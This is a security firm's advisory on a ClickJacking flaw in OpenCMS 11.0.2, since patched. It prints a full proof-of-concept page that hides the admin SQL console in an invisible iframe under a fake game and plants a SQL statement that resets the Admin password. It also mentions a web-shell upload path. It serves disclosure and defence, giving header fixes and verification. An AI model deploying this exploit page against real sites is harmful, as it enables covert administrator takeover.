Pentest Logo

Advisory

Exploiting OpenCMS 11.0.2 using ClickJacking

ClickJacking to full compromise of OpenCMS

As part of our ongoing commitment to Open Source security Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities as described in Multiple Vulnerabilities in OpenCMS 11.0.2. These have all been patched in the most recent release (12.0.0).

Two vulnerabilities could allow remote and unauthenticated attackers to compromise OpenCMS. This post covers how to use ClickJacking to do so as demonstrated by the Video below:

What is ClickJacking?


ClickJacking is a form of “session riding” allowing an attacker to interact on the target site within the privileges of their victim. Successful exploitation requires the victim to visit a maliciously generated website while they are authenticated to the target site.

The user believes they are interacting only with the malicious site. However, they are also interacting with the target site without their knowledge. To achieve this the attacker includes the target site within an iframe which is invisible to the victim. No matter where the victim clicks the attacker ensures that the parts of the target site that are required for exploitation are underneath the user’s action.

ClickJacking techniques can:

  • Click on any GUI element – allowing links to be followed, check boxes, radio buttons and forms to be submitted.
  • Paste text into form fields – after selecting a text field it is possible to populate the field with text within the copy/paste.

Together these permit attackers to populate and submit forms which are not protected by CAPTCHA technology or requiring the current password.

ClickJacking is limited because it cannot read data from the Document Object Model (DOM) and is therefore said to be “blind”.

The impact is a loss of integrity for the user account (as actions cannot be verified to have come from users). The true impact assessment can only be made after evaluating what functionality is vulnerable and fully assessing the context.

For a general overview of ClickJacking please read reference [1].

Details


OpenCMS 11.0.2 was vulnerable to ClickJacking because it had no defences to prevent it.

To confirm this the consultant created an HTML file which included this “iframe” tag:

				
					<iframe  width=900px height=900px data-src="http://192.168.127.128/workplace#!explorer/" class="lazyload"></iframe> 
				
			

To replicate this finding first authenticate as an “admin” level user. Save the above in a “.html” file and then open it in another tab within the same web browser.  

The browser will include the target site within an iframe as demonstrated below: 

Figure 1 – Sensitive Functions accessible within Iframes

Figure 2 Saving JSP Files within an Iframe 

The above functionality was available only to “admin” level users. They were not adequately protected from attack and both could allow the full compromise of the OpenCMS server.

Proof of Concept: Obtaining Admin Access


The PoC was generated to exploit the SQL console. To exploit this the victim must issue two interactions:

  • Initiate a drag and drop which goes from the attacker’s site into the query console; then
  • Click on the “Execute” button to submit the query.

The SQL query below was used as the payload. When executed this changes the password hash for the “Admin” user to “admin”:

				
					UPDATE CMS_USERS SET USER_PASSWORD="$s0$e0801$AmdC2o/qA18zek6ENKpjpw==$nJqS+ZHFIAawhqNWx6rjeBnYnSzmDjzTC5ooIJWFX1o=" WHERE USER_NAME="Admin"
				
			

The attacker must convince the victim to interact with a website under their control. The exploit site used in the demonstration contained the HTML below:

				
					<!-- the z-index puts the image behind the iframe --> 
<style> 
.pastesql{ 
  position: absolute;
  left: 0; 
  top: 250; 
  z-index: -1; 
} 
.clickexecute{ 
  position: absolute;
  left: 200; 
  top: 450; 
  z-index: -2; 
} 
</style> 

<script> 

// set the string you want to paste into target iframe. 
var payload = "UPDATE CMS_USERS SET USER_PASSWORD='$s0$e0801$nVuX1wRLT6YqdAgJaL3khg==$2YF7Kp1wVS2Ziy5gTx72FjbjYOcEJwNzCZ+V97FMyFE=' WHERE USER_NAME='Admin'";  

function allowDrop(ev) { 
  ev.preventDefault(); 
} 

/** 
 * Called when drag is initiated.  * default behaviour of a drag from an image is to 
 * put the value of the "src" attribute as text into the copy/paste buffer. 
 * using setData we have hijacked that and put our string payload into the buffer.
 * When the drop is done into a textfield in the iframe it now pastes our payload. 
 */ 
function drag(ev) { 
ev.dataTransfer.setData("text", payload); 
hideBall(); 
// A hacky trick. It displays they won 1 second after they 
// started the drag. You cannot detect a drop in the iframe. 
setTimeout(function(){ showClaim(); }, 1000); 
} 

function drop(ev) { 
  ev.preventDefault(); 
  var data = ev.dataTransfer.getData("text"); 
  ev.target.appendChild(document.getElementById(data)); 
} 

// move iframe so they drop on  
function hideBall() {
 var ball = document.getElementById("ball"); 
 ball.style.display = 'none'; 
} 

// show prize claim 
function showClaim() { 
  var claimButton = document.getElementById("claim");   claimButton.style.zIndex="-1"; 
} 

// hide prize claim 
function hideClaim() { 
  var claimButton = document.getElementById("claim");
  claimButton.style.zIndex="-2"; 
} 

// make sneaky iframe visible 
function showIframe() { 
var target = document.getElementById("target"); 
target.style="opacity:0.5"; 
} 

// make sneaky iframe invisible
function hideIframe() { 
var target = document.getElementById("target"); 
target.style="opacity:0.0"; 
} 
</script> 

<h3 id="heading">Football is lost. Help it home!</h3> 
<br> 
<button name="reset" onclick="location.reload();">Retry</button><button name="showIframe" onclick="showIframe();">Show Iframe</button><button name="hideIframe" onclick="hideIframe();">Hide Iframe</button> 
<br><br> 

<iframe id="target"  style="opacity:0.0" width="500" height="400" data-src="http://192.168.127.128/workplace#!db-admin-sqlconsole" class="lazyload"></iframe> 

<!-- Goal --> 
<img decoding="async" id="goal" ondrop="drop(event)" ondragover="allowDrop(event)" class="pastesql lazyload" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAAD6AQAAAAB/0IjjAAAAAnRSTlMAAHaTzTgAAAAkSURBVGje7cEBAQAAAICQ/q/uCAoAAAAAAAAAAAAAAAAAAABqPoAAAbut3koAAAAASUVORK5CYII=" width="500" height="250" data-src="http://goal.jpg" data-eio-rwidth="500" data-eio-rheight="250"><noscript><img decoding="async" id="goal" ondrop="drop(event)" ondragover="allowDrop(event)" class="pastesql" src="goal.jpg" width="500" height="250" data-eio="l"></noscript> 

<div id="claim" class="clickexecute"><img decoding="async" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" data-src="http://claim.png" class="lazyload"><noscript><img decoding="async" src="claim.png" data-eio="l"></noscript></div> 

<br><br><br> 

<!-- the ball --> 
<img decoding="async" id="ball" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" draggable="true" ondragstart="drag(event)" data-src="http://ball.jpg" class="lazyload"><noscript><img decoding="async" id="ball" src="ball.jpg" draggable="true" ondragstart="drag(event)" data-eio="l"></noscript> 
				
			

If this was opened in a web browser by an authenticated “Admin” user it would appear as shown:

Figure 3 – ClickJacking Exploit Site

While crude this was a simple game asking the user to drag the ball into the goal. The attack worked because the image of the goal was in the background and there was an invisible iframe hidden in front of it. The following shows the same screen where the iframe was made visible:

Figure 4 – ClickJacking Page where the iframe was visible

The attacker required the victim to drag and then drop the ball anywhere within the red rectangle for their malicious query to be delivered. A second after the ball was dragged the UI updated to hide the ball and to display a prompt for the victim to claim their prize:

Figure 5 – ClickJacking step to click on “Execute” button

The SQL Query is executed when the “Claim Prize” button was clicked. This demonstrated the risk of ClickJacking against the unprotected SQL Console functionality. It is also possible to upload a web shell through the admin’s file upload function. However, that would require significantly more user interactions decreasing (but not removing) the chances of success. 

Risk Analysis


Risk Category:
High
CVSS: 8.3 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H 
Explanation: Due to the functionality that was available within the application (direct access to the database, and remote code execution via JSP) the risk posed by ClickJacking was “High”. 

Recommendation 


Implement ClickJacking defences by default for OpenCMS deployments. If users need to disable this then they should be warned about doing so before enabling them to have their sites embedded within an iframe. 

For full details of the defences that are available please read reference [2]. The following summarises those:

Approach Example Limitation
Content-Security-Policy
Add an HTTP response header as shown:

Content-Security-Policy: frame-ancestors 'none'

This prevents any origin framing the content. Review reference [2] for more permissive options.
Newer standard and is not supported in all major web browsers. X-Frame-Options take priority if present in Chrome & Firefox.
X-Frame-Options
Add an HTTP response header as shown:

x-frame-options: DENY

Again, review reference [2] for more permissive options.
Setting is required per page so every HTTP response must include the heading for full coverage.
Legacy JavaScript
Before HTTP headers were an option initial fixes were based on JavaScript. This is now seen as a fall-back defence which is nice to have but is no longer essential. Please review reference [2] and select either the:

• Best-for-now Legacy Browser Frame Breaking; or

• Window.confirm() protection

As desired
JavaScript projections have repeatedly been defeated by bypasses. Hence the “best-for-now” language being used by OWASP. At the time of writing that has not been bypassed.

Pentest’s preference is to use CSP headers as this is the modern standard. Using X-FRAME-OPTIONS and the legacy JavaScript approach can add layers to the defence if older web browsers must be supported.

References

[1] OWASP: ClickJacking Overview
[2] OWASP: ClickJacking Defences

Affected Item(s)

  • Vulnerable in: OpenCMS 11.0.2 
  • Fixed in: 12.0.0

Verification Testing


The application now used HTTP headers which prevented the site loading in an iframe, which removed the risk of ClickJacking.

				
					HTTP/1.1 200  
Content-Security-Policy: frame-ancestors 'self'; 
X-Frame-Options: SAMEORIGIN 

				
			

Looking for more than just a test provider?

Get in touch with our team and find out how our tailored services can provide you with the information security confidence you need.